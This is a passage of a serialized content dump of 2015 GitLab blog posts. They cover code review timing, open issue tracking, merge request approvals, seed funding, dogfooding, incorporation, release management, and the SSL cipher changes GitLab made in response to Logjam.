not proven itself yet, so you can't assume it works,\ninspiring more thorough review.\n\n## 4. Catch mistakes before Production\n\nThis seems obvious, but if you review before code going live, there will be\nmuch less issues on the live code. In turn, this means your software is more\nreliable and you'll fight less with emergency bug-fixes and spend more time\nwriting new features.\n\n## 5. You Must Review\n\nSkipping code review on already deployed code is easy. You just don't do it.\n\nHowever, if you use early code review, you can easily set up a workflow\nthat forces code review. For instance, with [GitLab's Merge Request Approvals],\nyou can require any N of your colleagues to approve a merge request before it's\nmerged into the target branch.\n\nThis way code review can never be skipped, with all the benefits of that.\n\n## 6. Small Reviews > Large Reviews\n\nWe observed that smaller reviews gather much more comments per line of code,\nthan large reviews.\nTypically code that is already in production is reviewed by reviewing piece of\nfunctionality, this tends to be larger than a change.\nThis means that you can expect a more thorough review\non code that is not merged yet, over code that is already live just by the\nline count of the review.\n\n## How do you review?\n\nAs we're always looking to improve code review in GitLab, we're very curious\nto hear what you do with your code, how you review it in your team and how\nwe can improve GitLab to support better code review.\nLet us know in the comments below.\n\n\n[technical debt]: https://en.wikipedia.org/wiki/Technical_debt\n[merge request approvals]: /blog/feature-highlight-merge-request-approvals/\n[GitLab's Merge Request Approvals]: /blog/feature-highlight-merge-request-approvals/\n[Quora published a great article]: http://engineering.quora.com/Moving-Fast-With-High-Code-Quality?share=1\n",{"slug":39469,"featured":6,"template":678},"6-reasons-why-pre-is-better-than-post-production-code-review","content:en-us:blog:6-reasons-why-pre-is-better-than-post-production-code-review.yml","6 Reasons Why Pre Is Better Than Post Production Code Review","en-us/blog/6-reasons-why-pre-is-better-than-post-production-code-review.yml","en-us/blog/6-reasons-why-pre-is-better-than-post-production-code-review",{"_path":39475,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39476,"content":39482,"config":39486,"_id":39488,"_type":16,"title":39489,"_source":17,"_file":39490,"_stem":39491,"_extension":20},"/en-us/blog/almost-everything-we-do-is-now-open",{"title":39477,"description":39478,"ogTitle":39477,"ogDescription":39478,"noIndex":6,"ogImage":39479,"ogUrl":39480,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39480,"schema":39481},"Almost Everything We Do Will Be Open","We're announcing a move from doing the majority of our development work internally, to almost exclusively working in public issue trackers on GitLab.com.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684463/Blog/Hero%20Images/open.jpg","https://about.gitlab.com/blog/almost-everything-we-do-is-now-open","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Almost Everything We Do Will Be Open\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-08-03\",\n      }",{"title":39477,"description":39478,"authors":39483,"heroImage":39479,"date":39484,"body":39485,"category":6634},[36660],"2015-08-03","\n\nAt GitLab, we do our best to work together with [the rest of our amazing community] at\nevery possible occasion. The rest of the community contributes many features, fixes bugs\nand improves performance. To work together effectively, we try to be open about\nas many things as possible.\n\nToday we're announcing a move from doing the majority of our development work\ninternally, to almost exclusively working in public issue trackers on GitLab.com.\nThis means that anyone can view and comment on all of our discussion and work.\nThis includes bugs, new features, performance issues and everything else that\nrelates to our products.\n\n\u003C!-- more -->\n\n## The Problem\n\n[GitLab Community Edition], [GitLab Continuous Integration] and the [code that we use\nto build and ship these], are all open source.\nIn fact, even our proprietary version of GitLab, GitLab Enterprise Edition,\nhas a [publicly viewable source code]. We do this because we believe it helps\neveryone building a better GitLab and makes the threshold for community contributions\nvery low.\n\nHowever, the development of the monthly releases of GitLab is done on our private\nGitLab instance. We do this because we receive many feature requests and support\nissues (bugs) from customers and we figured this was best kept private.\nThis lead to a number of problems:\n\n- Bug reports and feature requests were duplicated\n- The latest state of issues was not available to the whole community\n- It was impossible for contributors to review merge requests from GitLab Inc\n- The community had no insight into planned features for upcoming releases\n- We were not able to give customers insight into our thinking about issues\n\nWe were not working in the open as a true open source project should.\n\n## The Solution\n\nTo make the entire development of GitLab a product of the community again,\nwe decided to move all our internal issues, discussions, feature requests\nand bugs to [public repositories] on GitLab.com.\nThis will allow us to build better features and to solve bugs faster\nwith more community feedback and contributions.\n\nIssues and features from our customers will also be visible here.\nCustomers will not be named, instead we will link to internal tools so that\nGitLab Inc employees can still handle customer interactions as normal.\nWe do not intend to release any private information, so logs and other sensitive\ninformation will be sanitized or kept out of the public issue. Rather,\nwe will include the content relevant for the issue, feature request or symptoms\nof the reported bug. Having this content out in the open will lead to less duplication,\nbetter features and faster bug fixes.\n\nSensitive issues, such as security issues with GitLab, will still be handled\ninternally. We'll create tracking issues for these on the public issue trackers\nthat don't contain exploitable information.\n\nDoing this, we bridge our customers and GitLab's community. At the same time,\ncustomers are able to view our work on their issues and feature requests.\nOur work, comments and also our mistakes will be open for everyone to see.\n\n## The Next Steps\n\nOver the coming time, we'll gradually move our internal issues over to GitLab.com.\n\nIn time, we will also start to move away from using [feedback.gitlab.com] to\nusing issues in GitLab for feature requests as well.\n\nIf you have concerns about any of this, please contact us at Contact at GitLab dot com.\nAs always, we will also be present in the comments below.\n\n[the rest of our amazing community]: https://gitlab.com/gitlab-com/www-gitlab-com/commit/cf4569ad6834321f89bb6e34b719bcdcd0ba7799\n[publicly viewable source code]: https://gitlab.com/gitlab-org/gitlab-ee\n[GitLab Community Edition]: https://gitlab.com/gitlab-org/gitlab-ce\n[GitLab Continuous Integration]: https://gitlab.com/gitlab-org/gitlab-ci\n[code that we use to build and ship these]: https://gitlab.com/gitlab-org/omnibus-gitlab\n[public repositories]: https://gitlab.com/groups/gitlab-org\n[feedback.gitlab.com]: http://feedback.gitlab.com/forums/176466-general\n",{"slug":39487,"featured":6,"template":678},"almost-everything-we-do-is-now-open","content:en-us:blog:almost-everything-we-do-is-now-open.yml","Almost Everything We Do Is Now Open","en-us/blog/almost-everything-we-do-is-now-open.yml","en-us/blog/almost-everything-we-do-is-now-open",{"_path":39493,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39494,"content":39499,"config":39503,"_id":39505,"_type":16,"title":39506,"_source":17,"_file":39507,"_stem":39508,"_extension":20},"/en-us/blog/feature-highlight-merge-request-approvals",{"title":39495,"description":39496,"ogTitle":39495,"ogDescription":39496,"noIndex":6,"ogImage":12013,"ogUrl":39497,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39497,"schema":39498},"Feature Highlight: Merge Request Approvals","If you want keep code quality high, it is important that you use a code review process. In GitLab, the best way to do this is by using Merge Requests. Read how to approve merge requests here.","https://about.gitlab.com/blog/feature-highlight-merge-request-approvals","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Merge Request Approvals\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-07-29\",\n      }",{"title":39495,"description":39496,"authors":39500,"heroImage":12013,"date":39501,"body":39502,"category":734},[36660],"2015-07-29","\n\nIf you want keep code quality high, it is important that you use a code review\nprocess. In GitLab, the best way to do this is by using Merge Requests.\n\nWe created merge requests so that only a person with the required\npermission (developer or higher) can merge code into the target branch.\nIf you want more people to review code before it's merged, you can now do this\nwith Merge Request Approvals in [GitLab Enterprise Edition].\n\n_Note: this is a follow up to our [previous feature highlight on approvals],\nsince we've added additional functionality in GitLab 7.13_\n\n\u003C!-- more -->\n\n## How Approvals work\n\nApprovals will block the merging of a merge request until the configured number\nof approvals has been met. This allows you to force a certain amount of people\nto check all the code that goes into important branches in your repository.\n\nYou can set the number of required approvals and you can assign specific approvers\nthat need to approve the merge request. If you set specific approvers, only\nthey will be able to approve the merge request. If you do not, anyone with\ndeveloper permission or higher will be able to approve the merge request.\n\n![Approvers in a Merge Request](https://about.gitlab.com/images/7_13/approvers_mr.png)\n\n### Assigning Approvers\n\nIt's possible to use a combination of specific and non-specific approvers,\nfor instance by setting the required number of approvers to `3` and only\n`Jane` as an approver.\n\nYou can even set a higher number of approvers than required approvals, in which\ncase only a subset of the approvers needs to approve the merge request.\nWith one required approver and `Jane` and `John` set as approvers, either\n`Jane` or `John` need to approve the merge request.\n\n### Default Approvers\n\nYou can choose the approvers on merge request creation, but a default can be\nset in the project settings. This prevents you from having to change the project\nsettings every time an important code reviewer is unavailable.\n\n### Automatically Resetting Approvals\n\nIf you want to have all your approvals reset after a new push is made to the\nmerge request, you can configure this. This means that after each push that is\nmade, any previously done approvals are reset.\n\nIf this setting is turned off, approvals will persist, independent of pushes\nto the merge request.\n\n## Getting started with Approvals\n\nTo start using Approvals, visit the settings of your project and set the\nrequired amount of approvers to a value of your choosing, higher than 1.\n\n![Setting default suggested approvers for a project](https://about.gitlab.com/images/7_13/approvers_settings.png)\n\nHere you are also able to set the default approvers, and whether you want to\nreset the approvals on each push to the merge request.\n\n## Future\n\nWe created the Merge Request Approvals on request of our customers. Our goal\nis to add great features to GitLab that benefit everyone that uses them and\ndon't inconvenience anyone that doesn't.\n\nWe're thinking about more improvements to the Merge Request Approvals, the main\nimprovement being automatic suggestions for reviewers, based on the history of\nthe changed files in the merge request.\nFor instance, if Jane worked a lot on a certain class and you submit a change\nto that class, Jane gets suggested to approve your merge request.\n\nWe're interested in hearing what you think about this feature and how we can\nfurther improve it.\n\n## Documentation\n\nFind our [documentation on Merge Request Approvals].\n\n[GitLab Enterprise Edition]: /pricing/\n[previous feature highlight on approvals]: /2015/06/16/feature-highlight-approve-merge-request/\n[documentation on Merge Request Approvals]: https://docs.gitlab.com/ee/user/project/merge_requests/approvals/\n",{"slug":39504,"featured":6,"template":678},"feature-highlight-merge-request-approvals","content:en-us:blog:feature-highlight-merge-request-approvals.yml","Feature Highlight Merge Request Approvals","en-us/blog/feature-highlight-merge-request-approvals.yml","en-us/blog/feature-highlight-merge-request-approvals",{"_path":39510,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39511,"content":39516,"config":39521,"_id":39523,"_type":16,"title":39524,"_source":17,"_file":39525,"_stem":39526,"_extension":20},"/en-us/blog/1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations",{"title":39512,"description":39513,"ogTitle":39512,"ogDescription":39513,"noIndex":6,"ogImage":39339,"ogUrl":39514,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39514,"schema":39515},"$1.5M seed funding for GitLab to sccelerate growth","We are excited to announce that we have raised $1.5M in seed funding for GitLab to accelerate growth and expand operations.","https://about.gitlab.com/blog/1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"1.5M raised in seed funding for GitLab to accelerate growth and expand operations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2015-07-09\",\n      }",{"title":39517,"description":39513,"authors":39518,"heroImage":39339,"date":39519,"body":39520,"category":299},"1.5M raised in seed funding for GitLab to accelerate growth and expand operations",[711],"2015-07-09","\n\nGitLab [started](https://gitlab.com/gitlab-org/gitlab-ce/commits/v0.9.4) as a\non-premises software where [Dmitriy](/company/team/)\ncould put his repositories.\nOpen-source; built by and for developers, our community grew quickly to\n[hundreds](http://contributors.gitlab.com/) of contributors world-wide.\n\nToday, over a hundred thousands organizations are using GitLab to build software\nthat puts people in space (NASA, SpaceX), helps discover new particles (CERN) and\nmove computing forward (IBM, Qualcomm), among many others.\nThese organizations and many individual contributors hack on,\ncontribute and help GitLab become better every single day.\n\nIt is our goal to become the default solution for anyone building software and\nworking together. The excitement and passion of our community has convinced us\nthat open-source is the way forward. We want to accelerate our growth and expand\noperations so we can reach more people and build an even better GitLab.\n\nIn the effort to reach our goal, we are excited to announce that we have raised\n$1.5M in seed funding led by Khosla Ventures, 500 Startups, Crunchfund,\nSound Ventures (Ashton Kutcher), and Liquid 2 Ventures (Joe Montana).\n\n\u003C!--more-->\n\n## Building an Open-Source Company\n\nThe popularity of GitLab as an open-source project made it possible to found a\ncompany. By selling support and later [GitLab Enterprise Edition](/pricing/)\nwe were able to grow a company that was able to support GitLab for large enterprises\nby [integrating with their own software](/pricing/feature-comparison/),\nwhile still giving back to the community new features in every release of GitLab CE\nand a completely free hosted service in the form of [GitLab.com](/pricing/) .\n\nThese moves made it possible for the majority of our team to nerd-out in Silicon Valley\nat [Y Combinator](/blog/gitlab-is-part-of-the-y-combinator-family/)\nat the start of this year, where we learned a lot about business and growth, and\ngot motivated by the enthusiasm and ambition of our batch-mates.\n\nBy now, we knew we wanted to go above and beyond what we had done so far\nand make GitLab bigger and better for everyone, which is why we've started\nworking together with some amazing investors.\n\nVinod Khosla, founder and partner of Khosla Ventures said this about us:\n\n> “There’s a big market demand for more open-source solutions that allow engineers\nto create, review, and deploy code enabling their teams to build better products faster.”\n\n> “We invested in GitLab because it meets this demand by allowing engineers to more\neasily review each other’s work, collaborate, and merge good input,\nthereby accelerating the iterative process behind creating products.”\n\nWe're all very excited with this opportunity our investors have given us.\nIt means we can accelerate growth and scale our US operations, which\nincludes the recent opening of a new Experience Center in San Francisco (don't worry,\nwe're [still remote](/blog/the-remote-manifesto/)!).\n\nSytse \"Sid\" Sijbrandij, our CEO said:\n\n> “The GitLab team is thrilled to have such an experienced and respected group of investors.\nWe started GitLab with a dream to become the default solution for developers to\ncreate better products together, faster.\"\n\n> \"Enterprise technology is being replaced by open-source technology,\nand this seed round of funding will help us accelerate our growth and\nbuild our sales and marketing team in San Francisco to work more closely with\ncurrent and new clients.”\n\n## Thank you for believing in us\n\nWe'd like to thank our amazing community that has contributed major features,\nbug fixes, documentation updates and more than we can ever return. We owe\nGitLab's existence to your enthusiasm, drive and hard work.\n\nThank you to our team, that has been working hard every single day and feels\nmore like a highly distributed, international family than a company.\nWe especially like to thank the [core team](/community/core-team/)\nmembers that are not with GitLab Inc: Nihad Abbasov, Robert Schilling,\nHannes Rosenögger, Achilleas Pipinellis, Stan Hu, Jeroen van Baarsen and Drew Blessing.\n\nAnd thank you to our investors for giving us trust and support in achieving our\ngoals and vision.\n\nIt was a little more than a year ago that we were only dreaming about being\na funded company. We're extremely excited and hopeful for the future of GitLab\nas an amazing tool to build products, as a community and as a company.\n\n_Want to help GitLab grow? [We're looking for people to work with us!](/jobs/)_\n\n",{"slug":39522,"featured":6,"template":678},"1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations","content:en-us:blog:1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations.yml","1 5m Raised In Seed Funding For Gitlab To Accelerate Growth And Expand Operations","en-us/blog/1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations.yml","en-us/blog/1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations",{"_path":39528,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39529,"content":39535,"config":39540,"_id":39542,"_type":16,"title":39543,"_source":17,"_file":39544,"_stem":39545,"_extension":20},"/en-us/blog/how-we-use-gitlab-to-build-gitlab",{"title":39530,"description":39531,"ogTitle":39530,"ogDescription":39531,"noIndex":6,"ogImage":39532,"ogUrl":39533,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39533,"schema":39534},"How we use GitLab to build GitLab","Have you ever wondered how GitLab employees use GitLab? Well read this article and get the inside scoop!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671577/Blog/Hero%20Images/dog-food.jpg","https://about.gitlab.com/blog/how-we-use-gitlab-to-build-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we use GitLab to build GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Karen Carías\"}],\n        \"datePublished\": \"2015-07-07\",\n      }",{"title":39530,"description":39531,"authors":39536,"heroImage":39532,"date":39538,"body":39539,"category":8943},[39537],"Karen Carías","2015-07-07","\n\nHave you ever wondered how GitLab employees use GitLab? Before I worked here, I always wondered how some products are used for their own creation.\nThis actually has a name and it's called [dogfooding](https://en.wikipedia.org/wiki/Eating_your_own_dog_food).\n\nSome months ago I went to an event in Facebook Headquarters and it called my attention that they use Facebook for everything, including registering guests and getting feedback.\nMost companies have certain technical departments that will work on making everything more “user friendly” or less technical for the rest of the company.\nIn GitLab, we all try to learn how to use our platform and do everything that’s technical ourselves.\nThat allows us to test our product and have more confidence in it.  \n\n\u003C!--more-->\n\n## Using GitLab.com\nWe use [GitLab.com](https://gitlab.com) for any work that can be done in the open.\nThat includes our [GitLab website](https://gitlab.com/gitlab-com/www-gitlab-com), [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce), and more.\nWe add Issues and Merge Requests for anything related to this.\nIt is a [public repository](https://gitlab.com), so everybody can contribute to it (not only employees).\n\n![GitLab.com](https://about.gitlab.com/images/gitlab-com.png)\n\n## dev.GitLab.org\nWe have a different platform for GitLab development.\nThe idea is for our developers and team to work there with things that are sensitive because customers or security issues are involved.\nWe have different projects for different purposes; Documentation, Organization, our different services, etc.\nStill, we try to work as much as possible in the [open](https://gitlab.com).\n\nOnce you become part of the GitLab team, you are granted access to the beta site dev.GitLab.org.\nAt the beginning it’s a little bit confusing to be using both sites and knowing when to use each; but with time, it becomes more natural.\nI personally decided to customize each site with a different color so that it wouldn't be confusing anymore.\nWe can use our beta site for tests and all of our version release actions. It is updated daily with the latest version, so that we are constantly testing it.\nOur new logo was tested there before it was released. We all agreed that it looked very nice.\n\n![dev.gitlab.org](https://about.gitlab.com/images/dev-gitlab.png)\n\n## Our employee Handbook\nOur onboarding is very simple and [accessible for anyone](/handbook/).\nSince we are open source, it is public and once you become part of the team, you should read it and if you have any questions, you may use Slack to ask.\nIt’s very simple and easy to use. If it’s written, I guess there’s no confusion.\n\n![Handbook](https://about.gitlab.com/images/handbook.png)\n\n## Communication\nWe use Slack for general information, emails for non-urgent information, and Issues for things that need to be improved or solved.\nWe usually mention people and then we let the people assign the issues to themselves.\n\nThe way we use issues is very interesting because we add them in the repository that is mostly related to the subject the issue is about.\nWe add all the links and information that we have and mention the people involved.\nEverybody comments, we work on the issues and then we link to the Merge Request where the issue is solved.\n\nThe improvements are added through Merge Requests and we link the issue where the improvement is suggested, if it applies.\n\nTo help improve our communication and to work on our team building, every year, there's an event that the entire team will attend.\nIt's a great opportunity to integrate the team and to get to know each other in person.\nThis year, we are all going to [OSCON](http://www.oscon.com/open-source-eu-2015) in The Netherlands.\nIt will be a great opportunity to interact and share some quality time with the team.\n\n![OSCON](https://about.gitlab.com/images/oscon.png)\n\nSo, how do you use the product at the company where you work at?\n",{"slug":39541,"featured":6,"template":678},"how-we-use-gitlab-to-build-gitlab","content:en-us:blog:how-we-use-gitlab-to-build-gitlab.yml","How We Use Gitlab To Build Gitlab","en-us/blog/how-we-use-gitlab-to-build-gitlab.yml","en-us/blog/how-we-use-gitlab-to-build-gitlab",{"_path":39547,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39548,"content":39553,"config":39558,"_id":39560,"_type":16,"title":39561,"_source":17,"_file":39562,"_stem":39563,"_extension":20},"/en-us/blog/operating-as-gitlab-inc",{"title":39549,"description":39550,"ogTitle":39549,"ogDescription":39550,"noIndex":6,"ogImage":12013,"ogUrl":39551,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39551,"schema":39552},"GitLab now operating as US corporation","Today we will begin operating as GitLab, Inc. Read more about this here!","https://about.gitlab.com/blog/operating-as-gitlab-inc","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab now operating as US corporation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haydn Mackay\"}],\n        \"datePublished\": \"2015-07-01\",\n      }",{"title":39549,"description":39550,"authors":39554,"heroImage":12013,"date":39556,"body":39557,"category":299},[39555],"Haydn Mackay","2015-07-01","\n\nAs an organization, GitLab is fully distributed where employees are free\nto work from wherever they feel most productive. Likewise, our customers hail\nfrom all corners of the globe but mostly North America. So today we will begin\noperating as GitLab, Inc.\n\n\u003C!-- more -->\n\nGitLab was started in the Ukraine by Dmitriy Zaporozhets, who serves as the\ncompany's CTO. Together with Sytse Sijbrandij (CEO) they founded a Dutch\ncompany (GitLab B.V.) to maintain the open source project and provide related\ngoods and services.\n\nAs the company grew, it made sense to have a presence close to Silicon Valley so\nthe company opened an Experience Center in San Francisco where employees can work from if\nthey choose.\n\nHowever, operating as a Dutch corporation posed some obstacles for certain\ncustomers and since the majority of them are headquartered in North America\nit was decided to incorporate in the US and begin trading as GitLab, Inc.\n\nPlease [contact our sales team](/sales/) if you'd like more information on our bank and\nbeneficiary informatiom.\n",{"slug":39559,"featured":6,"template":678},"operating-as-gitlab-inc","content:en-us:blog:operating-as-gitlab-inc.yml","Operating As Gitlab Inc","en-us/blog/operating-as-gitlab-inc.yml","en-us/blog/operating-as-gitlab-inc",{"_path":39565,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39566,"content":39572,"config":39576,"_id":39578,"_type":16,"title":39579,"_source":17,"_file":39580,"_stem":39581,"_extension":20},"/en-us/blog/release-manager-the-invisible-hero",{"title":39567,"description":39568,"ogTitle":39567,"ogDescription":39568,"noIndex":6,"ogImage":39569,"ogUrl":39570,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39570,"schema":39571},"Release Manager - The invisible hero","In GitLab we have one invisible hero every month, when we have our release on the 22nd of every month which we have never missed!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684444/Blog/Hero%20Images/rm.jpg","https://about.gitlab.com/blog/release-manager-the-invisible-hero","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Release Manager - The invisible hero\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marin Jankovski\"}],\n        \"datePublished\": \"2015-06-25\",\n      }",{"title":39567,"description":39568,"authors":39573,"heroImage":39569,"date":39574,"body":39575,"category":6634},[30568],"2015-06-25","\n\nReal heroes are sometimes unknown and we can only see their accomplishments. In GitLab we have one invisible hero every month, when we have our monthly release. As you may know, we've never failed to release a new GitLab version on the 22nd of every month.\n\nAs GitLab grows, the release process becomes more complex and becoming a release manager is a more difficult, but a necessary job.\n\nEight working days before the next release, and we start the countdown. A new volunteer \"hero\" is elected by the team.\n\n\u003C!--more-->\n\n## But, why is it such a challenging job?\n\nA release manager is the person who makes sure that everything is ready for the monthly release. They follow up on every single detail and make sure that the new version is working perfectly, including all the improvements and features. They also need to delegate some tasks and make sure that the procedure is being followed.\n\nConsider that right now, GitLab is huge. Our community dishes out around 900 commits a month on GitLab alone. Add Enterprise Edition, GitLab CI and runners, Omnibus-GitLab packages and you get several thousand changes done by hundreds of developers across projects which need to come together (and work) in one day. This is a lot of responsibility for one person.\n\n## So, how do we manage to make it all into a single release every month?\n\nIn GitLab we have a [release directory](https://gitlab.com/gitlab-org/release-tools/tree/master/doc) for the release documents. The most powerful document for the release is called [monthly.md](https://gitlab.com/gitlab-org/release-tools/blob/master/doc/monthly.md).\n\nRelease manager tasks can be broken down into:\n\n1. Make sure that GitLab CE, EE and GitLab CI repositories have an updated installation and upgraded guides\n1. Make sure that the Omnibus-GitLab package will be ready for the release\n1. Release the RC version, do QA, deploy on GitLab.com and ci.GitLab.com\n1. Follow reported regressions and make sure that developers are aware/working on a fix\n1. Decide which fixes can go into the release\n1. Coordinate the package building\n1. Make sure that the blog post contains all the necessary information\n1. Do the final release\n1. Decide if there needs to be a patch release\n1. Coordinate patch release\n\nA release manager volunteers to work late (or early) to get the packages out or deploy the new version to one of our services. No one is forcing you to do so, but if you don't, it will complicate the following day. This is a weakness in our process, so we need to work on improving this situation.\n\n## History\n\nI don't know the exact date when the release manager duty was thought off but it was [around version 6.4](https://gitlab.com/gitlab-org/gitlab-ce/commit/223070b3fe9cb302d3d47ba5a616d90bab8910fd).\n\nAt that time, we had a couple of other things that were the release manager tasks: Notify everyone of the code-freeze (nothing was merged to master during this time), enforce it and build the packages *manually*. Yes, manually. This meant connecting to all machines separately and doing few commands to initiate package building. GitLab.com had a separate repository with some custom code, so the deploy needed to be done manually too. I still have nightmares as a result of these 2 things.\n\nAs you can imagine, this made the release manager tasks very undesirable and limited to a few people. Even with all the improvements that followed, this job is still not popular.\n\n## Improvements\n\nSince the painful beginnings of the release manager tasks, we've done number of improvements. We did a massive change to the process and made it even more continuous integration oriented than it was before. There are risks to it, but also massive gains:\n\n1. Code freeze was removed so there is no need to watch over anyone's shoulders\n\n1. Keeping X git repos in sync. Syncing repositories is now a one-line script where the argument is the version that is being released\n\n1. Automatizing our release process. Omnibus-gitlab packages infrastructure got built, so only supplying the shas of the release version is enough to kick off the automatic builds on all platforms and machines\n\n1. Infrastructure for deploying GitLab.com and ci.gitlab.com got created and they are being updated by using a few lines of commands and packages\n\n1. The release documentation has been updated so many times that room for error is minimal (if you follow the steps closely)\n\nYou would expect that all these improvements would make the Release manager job more appealing since you get to:\n\n* Boss around over *all* of your colleagues. This includes the project lead and the CEO. It is especially sweet when you can say NO to an unreasonable request. After all, all requests are unreasonable but your own and now you get to push that through\n* You decide at your leasure when something will be included and pushed\n* You are *the* boss of everything (for a period of time) because everyone says: \"Hey, you are the release manager, your call\"\n\n## With all the hard work, how do we choose a volunteer release manager?\n\nChoosing the release manager is probably one of the hardest tasks.\n\nDuring our team call, the release manager for the previous release mentions the subject of selecting a new release manager.\n\nAt that exact moment, there's silence, cameras and mics start breaking down, people forget the whole English language, there is always someone at the door so you need to open it and lots of faces are just looking around the room.\n\nAfter a few minutes of silence, decision is made, but mostly because we are all friends and we don't want to see a colleague suffer for another month.\n\nWe've tried improving the desirablity of this task by making procedures easier, but that is still a challenge.\n\nAt some point I've asked what kind of reward we could put forward to make people happy to volunteer, but there are no good ideas yet.\n\nMy ideas where limited to:\n\n* Material reward: a gift might be OK for some people, but others have no need for things. In this case we could publicly thank them and acknowledge their work.\n\n* \"Spiritual\" reward: We do say \"thank you\" to the RM a lot, but this gets spent. Tweeting the name of the release manager might work as a recognition for some, but I am afraid that it won't work for introverts in our team. Being more public might also yield more work for them.\n\n* Buying a beer or cocktail: This feels like something that would be appreciated, but it would only work for a few employees, since we are a *very* remote company. Maybe a beer voucher could be sent.\n\nWith that I was out of ideas. This blog post is an attempt to say a thank you to all the release managers. You know who you are and you are a true invisible hero for accomplishing the tasks to make everything go out on schedule.\n\nDo you have any ideas?\n\n### Release manager - my hero.\n",{"slug":39577,"featured":6,"template":678},"release-manager-the-invisible-hero","content:en-us:blog:release-manager-the-invisible-hero.yml","Release Manager The Invisible Hero","en-us/blog/release-manager-the-invisible-hero.yml","en-us/blog/release-manager-the-invisible-hero",{"_path":39583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39584,"content":39589,"config":39593,"_id":39595,"_type":16,"title":39596,"_source":17,"_file":39597,"_stem":39598,"_extension":20},"/en-us/blog/gitlab-com-and-logjam",{"title":39585,"description":39586,"ogTitle":39585,"ogDescription":39586,"noIndex":6,"ogImage":12013,"ogUrl":39587,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39587,"schema":39588},"GitLab.com and Logjam","We've updated the default/recommended SSL ciphers for all GitLab installations and implemented new ciphers on GitLab.com. Read more!","https://about.gitlab.com/blog/gitlab-com-and-logjam","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com and Logjam\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marin Jankovski\"}],\n        \"datePublished\": \"2015-06-17\",\n      }",{"title":39585,"description":39586,"authors":39590,"heroImage":12013,"date":39591,"body":39592,"category":299},[30568],"2015-06-17","\n\nWe've previously announced [security advisory for Logjam vulnerability](/blog/security-advisory-for-logjam-vulnerability/). In that announcement we've mentioned that GitLab.com is using 1024-bit DH groups to retain compatibility with older Java-based clients.\n\nWe've updated the default/recommended SSL ciphers for all GitLab installations and implemented new ciphers on GitLab.com.\n\n\u003C!--more-->\n\nAfter some research and testing we've decided to change the SSL cipher suite served by the web server/load balancer.\n\nThis decision was made after weighing on the trade-offs between having the stronger DH params and denying access to Java 6 based clients.\n\n\n#### Using 2048-bit DHE params\n\nGenerating the 2048-bit DHE params was advised to help against the Logjam vulnerability. While this is a way to go for most servers, with GitLab.com we have to keep in mind that we have users using older Java-based clients.\nAdopting the stronger params suites would prevent those users using GitLab.com completely.\nAlthough the number of these users is not high, denying them access does not seem like an option.\n\n#### Removing DHE suites\n\nDHE suites have a couple of issues:\n\n* [DHE is slow](https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy)\n* Not all browsers support all the necessary suites\n\nOne advantage of having DHE together with ECDHE suites is that this allows forward secrecy to all clients.\n\nWe then turned to investigating how others are handling this issue and we found out that, for example, Google sites mostly [do not have DHE suites in their configuration](https://www.ssllabs.com/ssltest/analyze.html?d=www.google.com).\n\nWith this in mind we've tried removing the DHE suites and the result was as follows:\n\n* All major browsers and clients retain forward secrecy using ECDHE\n* SSL labs score went from B to A\n* There is no forward secrecy for Android 2.3.7, Java 6 and OpenSSL 0.9.8\n\nAfter considering the trade-offs, we've decided to remove the DHE suites from our cipher suite on GitLab.com.\n\nForward secrecy is now denied for Android 2.3.7, Java 6 and OpenSSL 0.9.8 but we suspect that number of users affected will be extremely low.\n\nWe have also updated the recommended configurations for omnibus-gitlab packages and GitLab installation from source.\n\n",{"slug":39594,"featured":6,"template":678},"gitlab-com-and-logjam","content:en-us:blog:gitlab-com-and-logjam.yml","Gitlab Com And 